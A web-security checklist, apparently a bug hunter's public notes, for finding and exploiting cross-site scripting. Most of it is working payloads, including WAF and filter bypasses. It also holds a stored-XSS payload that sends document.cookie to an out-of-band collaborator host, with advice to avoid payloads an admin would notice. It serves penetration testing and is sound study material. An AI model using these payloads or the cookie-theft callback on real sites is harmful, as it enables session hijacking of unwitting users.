These notes are public, opinionated, and evolving — read abdelkader.ma for the long-form posts.
Web SecurityXSS Testing Checklist

XSS Testing Checklist

The mistake people make with XSS is treating it as one bug class. It is six, and each one needs a different payload. The first thing to figure out is which context your input lands in.

1. Find the reflection point

Inject a long, unique, easy-to-grep string:

abdkdr_xss_8721

Then view-source: the page and search. Note every place the string appears. Reflection in two places usually means two different sinks with two different contexts.

2. Identify the context for each reflection

ContextWhat you seeWhat you need
HTML body<p>YOUR_INPUT</p><svg onload=alert(1)>
HTML attribute<input value="YOUR_INPUT">"><svg onload=alert(1)> or " autofocus onfocus=alert(1) "
Single-quoted attribute<input value='YOUR_INPUT'>' autofocus onfocus=alert(1) '
Inside <script>var x = "YOUR_INPUT";";alert(1)//
URL/href<a href="YOUR_INPUT">javascript:alert(1)
Inside an event handler<button onclick="YOUR_INPUT">alert(1) directly — already in JS
CSS<style>.x { content: "YOUR_INPUT" }";} body { background:url('//x.x'); } /* (exfil, not RCE)

Always test the context, not the payload. A payload that works in HTML body will silently fail inside an attribute and waste your day.

3. Identify the filter

Inject these four probes individually:

<script>alert(1)</script>
<svg onload=alert(1)>
" onmouseover=alert(1) "
javascript:alert(1)

Watch what gets stripped, encoded, or escaped. The pattern tells you which WAF rules are firing.

4. Bypasses, in order of how often they work

Tag-blocked

The WAF strips <script>. Use SVG or event handlers:

<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

Event-blocked

onerror, onload, onfocus all blocked. Try less-common handlers:

<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>

alert blocked

Substitute:

print(1)
confirm(1)
top["al"+"ert"](1)
(alert)(1)
window["alert"](1)

Parens blocked

onerror=alert`1`
{onerror=alert}1

Quotes blocked inside attribute context

Use HTML entities — most browsers decode them inside attribute values:

&#x22;-alert(1)-&#x22;

5. DOM XSS

Reflection-based detection misses DOM sinks. Always grep the JS for:

.innerHTML =
document.write(
eval(
setTimeout(
location.hash
location.search
URLSearchParams

Inject a marker into location.hash (#abdkdr_xss_8721) and watch which sinks consume it. The Chrome DevTools “DOM Invader” extension automates this.

6. Stored XSS

For stored, the diff is just the injection lifecycle: payload → persist → admin/victim views it → fires. The bypass game is identical; the discovery takes longer because you need to find what gets rendered where (profile bio, support ticket subject, audit log viewer, exported PDF).

⚠️

In stored XSS, never use noisy payloads like alert(1). Use a callback to your collaborator instead:

<svg onload=fetch('//x.oast.me/'+document.cookie)>

A real admin who triggers an alert() will close the tab and tell IT.

What I check before reporting

  • Can the payload survive a hard refresh?
  • Does it fire for a different user (cookie isolation actually working)?
  • Can I read httpOnly cookies? (No, but I can still hit authed endpoints.)
  • Is there a CSP? If unsafe-inline is in script-src, full RCE. If not, I write the report with frame-ancestors / clickjacking impact instead.